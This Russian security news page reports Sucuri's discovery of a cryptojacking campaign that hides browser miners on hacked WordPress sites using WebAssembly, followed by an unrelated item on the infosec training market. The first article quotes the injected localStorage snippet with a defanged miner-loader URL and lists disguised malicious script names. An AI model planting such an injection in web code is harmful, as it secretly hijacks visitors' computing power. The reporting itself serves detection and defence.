Криптоджекеры начали прятать свой код на сайтах с помощью WebAssembly

Криптоджекеры начали прятать свой код на сайтах с помощью WebAssembly

Криптоджекеры начали прятать свой код на сайтах с помощью WebAssembly

Эксперты Sucuri обнаружили необычный JavaScript-майнер, загружаемый на страницы при посещении взломанного сайта. Злоумышленники используют технологию WebAssembly, чтобы ускорить исполнение сценария и осложнить выявление вредоносных инъекций.

Бинарный формат WebAssembly (.wasm), позволяющий выполнять высокопроизводительные приложения на веб-страницах со скоростью, близкой к нативной, в настоящее время поддерживают более 95% установленных браузеров, в том числе Google Chrome, Microsoft Edge, Safari, Firefox и Opera. Код Wasm загружается и запускается из JavaScript и может работать в параллель в той же песочнице, обмениваясь данными с кодом JavaScript.

В Sucuri узнали о нововведении криптоджекеров, когда новый клиент запросил помощи— его компьютер начал сильно тормозить при подключении к персональному сайту WordPress. Беглый просмотр файлов на сайте выявил небольшой фрагмент кода, вставленный в один из файлов темы:

localStorage.setItem('f', 'auto.config({ login: "6110659", pass: "auto" }).power(10);');localStorage.setItem('s', 'hxxps://wm[.]bmwebm[.]org/auto.js');

Каждый раз, когда посетитель заходит на веб-страницу, этот сниппет загружает на стороне клиента скрипт auto.js из домена wm[.]bmwebm[.]org. Содержимое JavaScript-файла оказалось обфусцированным с помощью CharCode; декодирование показало, что это криптомайнер, стартующий при каждом визите на сайт.

Вшитые учетные данные, по всей видимости, используются для доступа к кастомному пулу в том же домене. Особый интерес у исследователей вызвала такая находка, как использование WebAssembly для запуска бинарного кода в среде браузера.

 

Расшифрованный auto.js также содержал инструкции для операций майнинга, которые исполняются в браузере вместе с JavaScript.

Позднее тот же самый криптомайнер был обнаружен на другом взломанном сайте, но уже под именем adservicegoogle.js. Он загружался из того же домена и пытался выдать себя за легитимный скрипт Google Ads.

Домен hxxps://wm[.]bmwebm[.]org/ был зарегистрирован в январе 2021 года, то есть полтора года криптоджекерам удавалось остаться незамеченными. В настоящее время (на 26 июля) их майнер работает на 195 сайтах, в том числе в TLD-зоне RU; по всей видимости, скромный масштаб киберкампании тоже помог злоумышленникам оставаться в тени.

Примечательно, что отдаваемые вредоносные JavaScript-файлы генерируются автоматически — злоумышленники просто меняют имя, добавляемое к домену:

  • hxxps://wm[.]bmwebm[.]org/wordpresscore.js
  • hxxps://wm[.]bmwebm[.]org/common.js
  • hxxps://wm[.]bmwebm[.]org/facebook-sdk.js
  • hxxps://wm[.]bmwebm[.]org/twitter.js
  • hxxps://wm[.]bmwebm[.]org/node.js

Реализованная функциональность также позволяет внедрять скрипты в разные места на зараженном сайте и поддерживать видимость легитимности инъекций.

Эксперты ожидают расширения использования WebAssembly киберкриминалом, несмотря на очевидное ограничение — зависимость от JavaScript. Код Wasm не способен самостоятельно собирать данные, подключаться к интернету и сливать награбленное на сторону. В составе веб-скимера, например, такой компонент может диктовать JavaScript, на каких веб-формах сосредоточиться, какой домен использовать для вывода данных и т. п. 

Использование Wasm, по словам Sucuri, способно затруднить выявление злонамеренных редиректоров, вредоносной рекламы, ложной техподдержки, скриптовых кейлоггеров, скрытых загрузок (drive-by) и других неблаговидных способов использования браузера. В тех случаях, когда браузер содержит уязвимость 0-day, оперирующий Wasm злоумышленник может причинить еще больше вреда — путем использования бинарного кода для эксплойта, и такую функциональность вряд ли обнаружит антивирусный сканер, заточенный под строковый анализ.

На сайтах подобные заражения тоже трудно выявить, если не с чем сравнить (нет бэкапа). Там, где Wasm уже используется в повседневных операциях, задача еще больше усложняется. Предотвратить инфицирование, по мнению экспертов, помогут следующие меры:

  • поддержка всего софта (CMS, плагинов, тем) в актуальном состоянии;
  • усиление защиты сайта и админ-панелей от брутфорса и словарных атак;
  • создание бэкапа и регулярное копирование контента и базы данных, с сохранением резервных копий вне сайта;
  • регулярные проверки целостности содержимого файлов на сайте;
  • использование средств фильтрации трафика прикладного уровня (WAF).
AM LiveПодписывайтесь на канал "AM Live" в Telegram, чтобы первыми узнавать о главных событиях и предстоящих мероприятиях по информационной безопасности.

Рынок корпоративного ИБ-образования в России вырос до 3 млрд рублей

Группа компаний «Солар» совместно с консалтинговым агентством KASATKIN CONSULTING представила исследование рынка корпоративного образования в сфере информационной безопасности. По его данным, по итогам 2024 года объём этого рынка достиг 3,07 млрд рублей, что на 10% больше, чем годом ранее.

Аналитики отмечают, что развитие ИБ-образования идёт следом за ростом рынка кибербезопасности в целом. К 2026 году объём рынка может вырасти до 3,38 млрд рублей при среднегодовом темпе роста около 8%.

Главные заказчики — крупные и крупнейшие компании, на которые приходится 83% спроса. Именно они активнее других вкладываются в подготовку специалистов: их бюджеты на обучение растут примерно на 24% в год, что сопоставимо с ростом собственных доходов. В среднем крупный бизнес тратит на обучение 0,13% от выручки, а крупнейшие корпорации — 0,05%.

Самыми активными инвесторами в развитие ИБ-компетенций остаются финансовый сектор и ТЭК (41%), а также ритейл и FMCG (21%).

Рост рынка, по мнению экспертов, обеспечивают три ключевых фактора. Во-первых, усиление требований государства, когда наличие сертифицированных специалистов становится обязательным для получения лицензий. Во-вторых, новые угрозы, связанные с ИИ, и усложнение ИТ-инфраструктур, что требует постоянного обновления знаний. В-третьих, курс на импортозамещение, который стимулирует создание отечественных программ обучения и адаптацию зарубежных курсов.

По словам аналитиков, сегодня компании переходят от обучения «для галочки» к практической подготовке команд. Все чаще востребованы программы по SOC, DevSecOps, форензике, а также тренировки на киберполигонах. Растет популярность гибридных форматов — сочетания онлайн-теории и офлайн-практики, а также индивидуальных образовательных треков.

«Рынок ИБ-образования взрослеет: обучение становится не просто инструментом получения сертификата, а способом укрепления компетенций команд. В 2026 году выиграют те, кто связывает развитие сотрудников с внедрением отечественных решений и реальными задачами бизнеса», — отметил Дмитрий Касаткин, управляющий партнёр KASATKIN CONSULTING.

Как добавляют в ГК «Солар», компании всё чаще рассматривают инвестиции в обучение как стратегический элемент защиты бизнеса. Особое внимание уделяется программам, где можно отработать навыки на реальных кейсах — например, тестирование на проникновение, безопасная разработка или работа в SOC.

Отдельный тренд — рост числа специалистов уровня middle, которые переходят в ИБ из смежных ИТ-направлений. Это говорит о том, что компании всё чаще растят собственных специалистов, развивая их практические навыки внутри организации.

Эксперты уверены: спрос на качественные прикладные программы будет только расти, поскольку разрыв между академическими знаниями и реальными потребностями бизнеса по-прежнему велик.

AM LiveПодписывайтесь на канал "AM Live" в Telegram, чтобы первыми узнавать о главных событиях и предстоящих мероприятиях по информационной безопасности.

RSS: Новости на портале Anti-Malware.ru